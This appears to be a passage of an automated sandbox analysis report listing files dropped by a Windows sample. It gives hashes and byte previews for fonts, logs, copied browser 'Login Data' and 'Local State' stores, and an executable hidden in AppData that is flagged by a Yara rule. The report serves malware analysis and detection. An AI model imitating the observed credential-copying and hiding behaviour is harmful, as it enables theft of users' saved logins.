SHA-256:	1492B7AD3D3EECAFCFC571C38694E9BC466DD0C33D10832B2A70A9E5DE699142
SHA-512:	57709C6C45B8937F809090287B03475344869D0BD19B5F87FD942FDA27CBD87240DBEAC286CB78156988962F1C543A57CA52C08D7026C6C38B0A66863E4C6C5E
Malicious:	false
Preview:	.fcp............................d....................................................#.. ...........t%..@...........D&..........L....'..........d....-..............................................*....7...<....H...R....W...`........g....g...r....K........K................CAP_HEIGHT.X_HEIGHT.PIXEL_SIZE.POINT_SIZE.FOUNDRY_NAME.misc.FAMILY_NAME.tektronix.FONT.tekfont1.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.QUAD_WIDTH..........................................................................................................`.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\tekfont2.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: LSB, byte: LSB first
Category:	dropped
Size (bytes):	6756
Entropy (8bit):	3.569230727224539
Encrypted:	false
SSDEEP:	96:FtQ663VBapldlA3SlwrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrC:FtQRzSPv
MD5:	C86CD67F3A72277AC304F42D5EEEEB83
SHA1:	6E37F2A3F6D532DE9C6902DD90ACCCE57A83F970
SHA-256:	2ABA6F959F1FAD575A36433A0CDB6B7CFFD10D5D58526538BEF1C3D8E9AC92E6
SHA-512:	F10559C946F6388FC14F92CE9853F6A8ADBD2B316DEB0625581CEED2123F87C783EFAAF582EC9FC2E2B35B02A0820F62C84EDD6451B9D3D72B1D2163CA075CA8
Malicious:	false
Preview:	.fcp............................d....................................... ...............@...........`...........L...............d...4...............................................*....7...<....H...R....W...`........g....g...r....K........K................CAP_HEIGHT.X_HEIGHT.PIXEL_SIZE.POINT_SIZE.FOUNDRY_NAME.misc.FAMILY_NAME.tektronix.FONT.tekfont2.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.QUAD_WIDTH..........................................................................................................`...............z........................z.............................\|...............................................................................}....................................................................................................................................................................z.........z.....................................................................................................................................................y...........

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\tekfont3.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: LSB, byte: LSB first
Category:	dropped
Size (bytes):	8544
Entropy (8bit):	3.1673539111380573
Encrypted:	false
SSDEEP:	192:BtnppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppA:nY
MD5:	3A60C67A5A2E1E539F955A502F8D19E2
SHA1:	86C640A3B02B5C5D7320382C3FDE382888D0B511
SHA-256:	14A5A18E968E807DD70290E52EFA0854D4E08E52DE571C892A1A0C0643C7A53D
SHA-512:	6CC07E7F01CA43573A2C7670AF97AC59411BB096A6B6700C425D62D930BF1C3110544C6377124705A746267BBE1C27971D80B70863A35B3D3F522E65FD245A88
Malicious:	false
Preview:	.fcp............................d....................................................... ...........t...@...........D...........L...............d....!..............................................*....7...<....H...R....W...`........g....g...r....K........K................CAP_HEIGHT.X_HEIGHT.PIXEL_SIZE.POINT_SIZE.FOUNDRY_NAME.misc.FAMILY_NAME.tektronix.FONT.tekfont3.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.QUAD_WIDTH..........................................................................................................`.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\term14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	18832
Entropy (8bit):	3.0784175743946594
Encrypted:	false
SSDEEP:	96:6z0pCb7vT/JeNG78/JwJJJJXJKiJJwKV9qgQo3/SdZRPRPCPe8RlZha8OoIOll0z:6z0pQr7bqLRPRPyPTZcAGz
MD5:	5C2486A13A72AD3BAACE0825068913E7
SHA1:	391FE4D4F8DED4A8272C31410A00380CB1D13817
SHA-256:	AE85A0037790BD9BDB14732F498F271791E32C09D358C1ECA052D26BA572B165
SHA-512:	4BBD69F56140242428C85DE549DCB7E94DB32CC3A1A414D10364582EF83FDB59DFE5FDF94E9EADEA504742BC8A85D85B8665D8FD31F24C62DC16B5FBB5D46D96
Malicious:	false
Preview:	.fcp............................d...P............................0..................d8.. ...........<<..@............>..........(... A..........d...HI...............................!....-...4....:...<....J...Q....`...a........l........w....K........K.................P................................................:....K...k....u...~......................g..............FOUNDRY.DEC.FAMILY_NAME.Terminal.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.COPYRIGHT.Copyright (c) 1991 Digital Equipment Corporation. All Rights Reserved.._DEC_PRODUCTINFO.DECterm Fonts V2.2, 11-Nov-1991.FULL_NAME.Terminal.FONT.-DEC-Terminal-Medium-R-Normal--14-140-75-75-C-80-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\termB14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	18832
Entropy (8bit):	3.0676648674572244
Encrypted:	false
SSDEEP:	96:6llInD7vT/JeNG7GvEdYJJJXJJBJJ7JJJYJJK6CQyU/odZRPRPCPe8RlZha8OoI3:6llItr7GvUELRPRPyPTZcAG7
MD5:	FC35361FE3577C7801186A967D480BCC
SHA1:	375E8DF5F0C2F4985413C2ADF22F66C0899420D2
SHA-256:	1236393977737D1B5281EEABF1B31E3B8D4202C26732A856EBE75E56DB51E38D
SHA-512:	08BFA14C1E9DBF2908D56376FD1C17633A24BA3D2655CAB522BB6AF529727D1F7C14391CE934F73080DB665B650236B9EEAE87CB87D4DAA9980C1784C8CF003F
Malicious:	false
Preview:	.fcp............................d...P............................0..................d8.. ...........<<..@............>..........(... A..........d...HI...............................!....-...2....8...:....H...O....^..._........j........u....K........K.................P................................................8....I...i....s..........................g..............FOUNDRY.DEC.FAMILY_NAME.Terminal.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.COPYRIGHT.Copyright (c) 1991 Digital Equipment Corporation. All Rights Reserved.._DEC_PRODUCTINFO.DECterm Fonts V2.2, 11-Nov-1991.FULL_NAME.Terminal Bold.FONT.-DEC-Terminal-Bold-R-Normal--14-140-75-75-C-80-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\locale\locale.alias

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ISO-8859 text
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	5.043991854320561
Encrypted:	false
SSDEEP:	24:iX/RY62JghcpsP4SbTvgTqECrhW3cIFdgm:i5mJgco4Sbzg2E3cNm
MD5:	21395E15B61AACFAE532200530F68716
SHA1:	915CCE96A7B77F6A3CE527F38BD661D7FCEAA85F
SHA-256:	DC4436B6BEA7B682EEF1934F4DAD32CBE80BABAA04AB002BDE9993A5CF833E29
SHA-512:	B595E6D5744CC28CAB8ED4FC4DFE619A807A446A2AA14955F37312EBF89996455EBEAC9E22BB53C54922D03140079E7E72BEA156D94C6D0D568750E311A75000
Malicious:	false
Preview:	bokmal..nb_NO.ISO-8859-1.bokm.l..nb_NO.ISO-8859-1.catalan..ca_ES.ISO-8859-1.croatian.hr_HR.ISO-8859-2.czech..cs_CZ.ISO-8859-2.danish da_DK.ISO-8859-1.dansk..da_DK.ISO-8859-1.deutsch..de_DE.ISO-8859-1.dutch..nl_NL.ISO-8859-1.eesti..et_EE.ISO-8859-1.estonian.et_EE.ISO-8859-1.finnish fi_FI.ISO-8859-1.fran.ais.fr_FR.ISO-8859-1.french..fr_FR.ISO-8859-1.galego..gl_ES.ISO-8859-1.galician.gl_ES.ISO-8859-1.german..de_DE.ISO-8859-1.greek el_GR.ISO-8859-7.hebrew he_IL.ISO-8859-8.hrvatski.hr_HR.ISO-8859-2.hungarian hu_HU.ISO-8859-2.icelandic is_IS.ISO-8859-1.italian it_IT.ISO-8859-1.japanese.ja_JP.eucJP.japanese.euc.ja_JP.eucJP.ja_JP..ja_JP.eucJP.ja_JP.ujis.ja_JP.eucJP.japanese.sjis.ja_JP.SJIS.korean..ko_KR.eucKR.korean.euc .ko_KR.eucKR.ko_KR..ko_KR.eucKR.lithuanian lt_LT.ISO-8859-13.no_NO..nb_NO.ISO-8859-1.no_NO.ISO-8859-1 nb_NO.ISO-8859-1.norwegian nb_NO.ISO-8859-1.nynorsk..nn_NO.ISO-8859-1.polish pl_PL.ISO-8859-2.portug

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\zoneinfo\posixrules

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	timezone data (fat), version 2, 4 gmt time flags, 4 std time flags, no leap seconds, 235 transition times, 4 local time types, 16 abbreviation chars
Category:	dropped
Size (bytes):	3519
Entropy (8bit):	5.686129374774136
Encrypted:	false
SSDEEP:	48:nL045YlyFhj4kuUrIxWjgnYObCU8OpZUMbsaRn4yIHZBryfwuTl:lh8DU0xWjKR8OpDFIZVkJ
MD5:	E4CA381035A34B7A852184CC0DD89BAA
SHA1:	6E43D0B5A46ED5BA78DA5C7E9DCF319B27D769E7
SHA-256:	5306DEB14FBD5AFEB22B2DA69D2C165665DEBA82EFC3BF642499F77B7E8A9D58
SHA-512:	0CF20BBF7F271CECDFA0130CE07A62CEF9289E168A25E9D71D253A9B0AC565E2B2ACCB0A8BB41ACF59B756813C8C88154E7D2BDEE0D730117C8B86639DC7AA8F
Malicious:	false
Preview:	TZif2..........................................p...`...p...`.e.p....j.p.5.`.S....`.3...........p.i..R.K.4.~-.Qp.gJ`.\|3p.G,`.\.p.'.`.;.p...`...p...`.....`...............o...}..Ov..d_../X..M\|p..:..-^p..W`..@p..9`..p.#.p.`...u...@...U... ...5.................p..e...p..`.kp.d`..Mp.iF`.~/p.I(`.^.p.W...G-..7...'..........................`..p.`.p...`.o.p._y`.Oxp.?[`./Zp.(w...<p..Y...X...;...:......................w...p.`.`.p.P.`.@.p.0.`...p...`.......`...p.....gp..........f...e..yH..iG..Y..I)..9...)...")`.......`...p...`...p...`...p...` v..!..`"U..#j..$5..%J..&...'s.'..p).U.).p*.7.+..p,.T`-.ip..6`/~Kp0..`1gg.2r.`3GI.4R.`5'+.62.`7...8...8...9...:...;..<..p=...>..p?.b.@o.pA..`BO.pCda`D/vpEDC`E..G-_.G..I.A.I.l.J.#.K..pL.@`M\|kpN."`O\MpP..`Q</pRu.`S..pTU.`T..pV5.`V...X...X...Y...Z...[..\...].l.^d.._.N.`M.pa.k`b-.pcgM`d.xpeG/`e.Zpg'.`g.<pi..`i..pj..`k.:.l...mv..n...oU..p...q5..ro..s...tOy.t..pv8.`v..px.x`x..py.Z`z..p{.<`\|~gp}..`~^Ip...`................

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\XWin.0.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe
File Type:	ASCII text, with very long lines (431), with CRLF line terminators
Category:	dropped
Size (bytes):	5850
Entropy (8bit):	5.501946162125984
Encrypted:	false
SSDEEP:	96:hh2vh5tjmKCXuKX6suKs63KfoKk/KUAoDvCotscOaPaGft43wv5pu7f3MOLf44CR:85BmKC+KqbKL3KfoKk/KUAoDvCotscFF
MD5:	70319EC2864C701FBDA2F063DC23481E
SHA1:	5A76B362F0BC30AA588EC46C4B93D7680FB6F19A
SHA-256:	EEB86714482040387086B2B6D24F81741E042509704ABB3EA8030F1447FCA847
SHA-512:	778EC8DE468DC1C4ACD565AF20C9216908C04A7F2C63EA177953BBC886C52DFEFA0B0DDE8C140DB122BF20BDAA5FAA68916C90607D019A1C21352A3953FF43D6
Malicious:	false
Preview:	Welcome to the XWin X Server..Vendor: Moba/X..Release: 1.21.1.12..OS: Windows 10 [Windows NT 10.0 build 19045] x86-on-x64..Package: version built 2024-04-16....XWin was started with the following command line:...... C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe .. -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs .. -clipboard -nowgl -multiwindow -noreset :0 ....ddxProcessArgument - Initializing default screens..winInitializeScreenDefaults - primary monitor w 1280 h 1024..(==) FontPath set to /usr/share/fonts/misc/..(==) FontPath set to C:\Users\user\AppData\Local\Temp\Mxt242/usr/share/fonts/misc/..(==) FontPath set to /usr/share/fonts/TTF/..(==) FontPath set to C:\Users\user\AppData\Local\Temp\Mxt242/usr/share/fonts/TTF/..(==) FontPath set to /usr/share/fonts/OTF/..(==) FontPath set to C:\Users\user\AppData\Local\Temp\Mxt242/usr/share/fonts/OTF/..(==) FontPath set to /usr/share/fonts/Type1/..(==) FontPath set to C:\Users\user\AppData\Loc

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data1051732173\Local State

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	66860
Entropy (8bit):	6.046201676195373
Encrypted:	false
SSDEEP:	1536:IbZm1NWMz6BiFMns3TnOOL1l2d0aUjV4d:GMz6BEMny6OL1YF++
MD5:	777478AE1132411F4C1F9E69E23DA1C2
SHA1:	01297B98B3D47B22890D80150BD687F95B824766
SHA-256:	DBD90D3C93C065345D4CE46F3F84B225AEFFD9B1ED32225990883583A462EAD0
SHA-512:	8179252402FB08F971C93BDBD3475A6449EEAE8B8E54003DBDC583B8575D158C91851D1EF555D95443F4410FAB8CDA11379023AB50CA3059EC9166D20E1ADF11
Malicious:	false
Preview:	{"browser":{"first_run_finished":true,"first_run_study_group":"EnabledE-5","shortcut_migration_version":"117.0.5938.132"},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.696488227591412e+12,"network":1.696488228e+12,"ticks":65453338.0,"uncertainty":1740313.0}},"os_crypt":{"app_bound_fixed_data":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAG7I4XamucEiJgTIvWNrX8QAAAAACAAAAAAAQZgAAAAEAACAAAAAlvtuFkuG2Vku+v5tcv9K/yuMWlG4CmHCBqr1FcmMaVgAAAAAOgAAAAAIAACAAAABzlLmWcMmu1MNbk3Jx+MtWSAVYsKY3ARxnt8leYCije2ABAABe6jFweQr3He6dzCQxqbTErxZNHx+9kFAh3QSURnPKEEeEBuj2GitGC2RXn4eSryQivGf5g/osiHJwGa7n88rsJDQ7mX9qilECqsLm7wx6Fx2cY71m1f24oiXa6W4MNGqetV4O/PeK/ca+0FU8zRtqnP9W6oZeFr8yKwV4cYUdxE4PJX0ZIWKr9+MOp5uNAsYhPPtg2MpBQdGIuKxYeLvo2yMC1YOuj208zsT/j//G5mh3mrYTTaT0LV45dUAJCbqNbDwJkE13SAD2yVc+7HaayUsNAs+dgYc0URZrC38lkZeYGq7m7QsJi

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data1051732173\Login Data

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data4055608411\Local State

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089741747455916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW6di1zNtPl4kzZ7okEt9r1JDSgzMMd6qD47u3+Ciol:+/Ps+wsI7ynOSkzItSmd6qE7lFol
MD5:	984EB5B329CECFDD591DAFAC9780511F
SHA1:	4D3AC368DFE387AE387828A0D330FD7F7B170501
SHA-256:	490BC57549419F27F8E720B0C23E9D7DAD7E5A9C9FC23857293A42126668FA72
SHA-512:	3361E0B7EED937BDE6F4462AB688B7B08CE2A1A26D05DBD20D912F303D6271C352AD1DEE09C37FBE35AA144AD5527700CFE0538AC1BDFF570EAE523F7E79C77D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data4055608411\Login Data

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm

Download File

Process:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe
File Type:	Compiled XKB Keymap: lsb, version 15
Category:	dropped
Size (bytes):	12048
Entropy (8bit):	4.855929015973047
Encrypted:	false
SSDEEP:	192:ND29sY96vQOVFf5aSLusd+8R4yyQ5qtd76s2T:ND26vvFfcS6Z8RyQV
MD5:	7C2DBA545692FD438199F8FD6D0AC9E8
SHA1:	6DAD29F268082D35A59130EACB0C63E4DCBFC67A
SHA-256:	BFB8F4243F90A3630A602AC6FC7A29FD287496989CF689FAEC94E4C0FC46687C
SHA-512:	A061EBA29112A99D464415CA9569D9F76DADBDE279E6DC6AA03F49924A86BA61807B1AF4EA9DCCCAADCB90C7948CEAA0E703995E023B5764E8EAE38B46A03160
Malicious:	false
Preview:	.mkx..............D.......................l.......@........%.......&......D.......NumLock.....Alt.....LevelThree..LAlt....RAlt....RControl....LControl....ScrollLock..LevelFive...AltGr...Meta....Super...Hyper...........xfree86+aliases(qwerty).....?.MDSWESC.AE01AE02AE03AE04AE05AE06AE07AE08AE09AE10AE11AE12BKSPTAB.AD01AD02AD03AD04AD05AD06AD07AD08AD09AD10AD11AD12RTRNLCTLAC01AC02AC03AC04AC05AC06AC07AC08AC09AC10AC11TLDELFSHBKSLAB01AB02AB03AB04AB05AB06AB07AB08AB09AB10RTSHKPMULALTSPCECAPSFK01FK02FK03FK04FK05FK06FK07FK08FK09FK10NMLKSCLKKP7.KP8.KP9.KPSUKP4.KP5.KP6.KPADKP1.KP2.KP3.KP0.KPDLSYRQII5DLSGTFK11FK12HOMEUP..PGUPLEFTII65RGHTEND.DOWNPGDNINS.DELEKPENRCTLPAUSPRSCKPDVRALTBRK.LWINRWINMENUFK13FK14FK15FK16FK17KPDCLVL3ALT.KPEQSUPRHYPRXFERI02.NFERI04.AE13I06.I07.I08.I09.I0A.I0B.I0C.I0D.I0E.I0F.I10.I11.I12.I13.I14.I15.I16.I17.I18.I19.I1A.I1B.METAK59.I1E.I1F.I20.I21.I22.I23.I24.I25.I26.I27.I28.I29.K5A.I2B.I2C.I2D.I2E.I2F.I30.I31.I32.I33.I34.K5B.K5D.K5E.K5F.I39.I3A.I3B.I3C.K62.K63.K64.K65.K66.I42.I43.

C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a01488

Download File

Process:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	327
Entropy (8bit):	4.2841731820712425
Encrypted:	false
SSDEEP:	6:j8gdfFNGlY8A84HH2NU7nlEuaCXAkTkut6nAkTku90iA2OppQLF9A2pv:5R2lYR7n28HaBTut6ATu9+LpQxiK
MD5:	D163F23F60D67350A7AF1D24019EA931
SHA1:	124C07A9C3B3D0FE0293751422209BA7CB3EC80D
SHA-256:	421FC20B985C2AF3D7F3F4CEAFC9271C3C9594915CBC4FCBC7480086C0745550
SHA-512:	11132922B60177CBC984DB29172C480B70FCFDE28B6A3CE7163691656C40A437242BDA8D2691DB57AB820D7789B75D0F0A8C42D33BA9AD4A23FAAF7997B254CF
Malicious:	false
Preview:	xkb_keymap "default" {.. xkb_keycodes { include "xfree86+aliases(qwerty)" };.. xkb_types { include "complete" };.. xkb_compatibility { include "complete" };.. xkb_symbols { include "pc+ch(de)+inet(pc105)" };.. xkb_geometry { include "pc(pc105)" };..};..

C:\Users\user\AppData\Local\Temp\chr5B4E.tmp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr5C29.tmp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\evb5021.tmp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	0.9868913680840394
Encrypted:	false
SSDEEP:	3:MpPqt/wlEh/jFkjXFeyxi4slltlml/MntlXErk9ltllPltllH7//llrll/ll+ll7:MxlEh/jKjXFeyclltAZmE/l//a7
MD5:	BCFF325767B046DA5B950D1D154B7785
SHA1:	EA3B58BAB447D48B9AFF7063356B65BD68DAE3C3
SHA-256:	9C1B3701ECBB83D1D187BCDC1394C8C15BC4EE1FAEA3AE5DCEC3DDFB8168D03D
SHA-512:	95F0E36E23D500CFD941DB32E491E54219CD262C2DD339A897384EB01241F96DA4DDBBEEB12E6C4CBAC39FCD1B85678304BA125480A966CFA19D477C162A1051
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*...........!.........................................................`6............................................. ...P............................................................................................................................P6.........................@........................................................................................................................................................................................................................................................................B..............@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\temp_MobServe.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22998363
Entropy (8bit):	5.855542002935661
Encrypted:	false
SSDEEP:	196608:7J4Hvn01nopKM8POZjcDJ5tASic6bcyDb:cvnaopKVscDFFic6bcyDb
MD5:	074ED5F745FD9A2EF6F29FD2D9AFB07A
SHA1:	86A99DC6671F246AAE0C45F9AC678D5604A237F7
SHA-256:	F89541C6B15925915CB3BBA6E812FF868C99FFDA7581C866EC9DFB6B4EA1507F
SHA-512:	1629A50C06B2FABE1F911C4997727D4963BF1A99A1949507D1F6FE46657AA1000F28A9000B32C202DE4C3410315D1CB1823FE512CECB3750C8906D5C5392EE6D
Malicious:	false
Yara Hits:	Rule: OlympicDestroyer_1, Description: OlympicDestroyer Payload, Source: C:\Users\user\AppData\Local\Temp\temp_MobServe.exe, Author: kevoreilly
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........\T..>....&.....H@..&y................@.............................@Z.....k._...`... ......................................p}.Y.....}..............`v..u............}............................. (v.(...................p.}.0............................text....G@......H@.................`..`.data....H...`@..J...N@.............@....rdata.. .1...D...1...D.............@..@/4...........Pv......4v.............@....pdata...u...`v..v...6v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......8x.............@....tls..........}......:x.............@....reloc........}......<x.............@..B/14...........~......,y.............@..B/29.......K...~...K..0y.............@..B/41.....'.......,...:..............@..B/55.....

C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe (copy)

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22998363
Entropy (8bit):	5.855542002935661
Encrypted:	false
SSDEEP:	196608:7J4Hvn01nopKM8POZjcDJ5tASic6bcyDb:cvnaopKVscDFFic6bcyDb
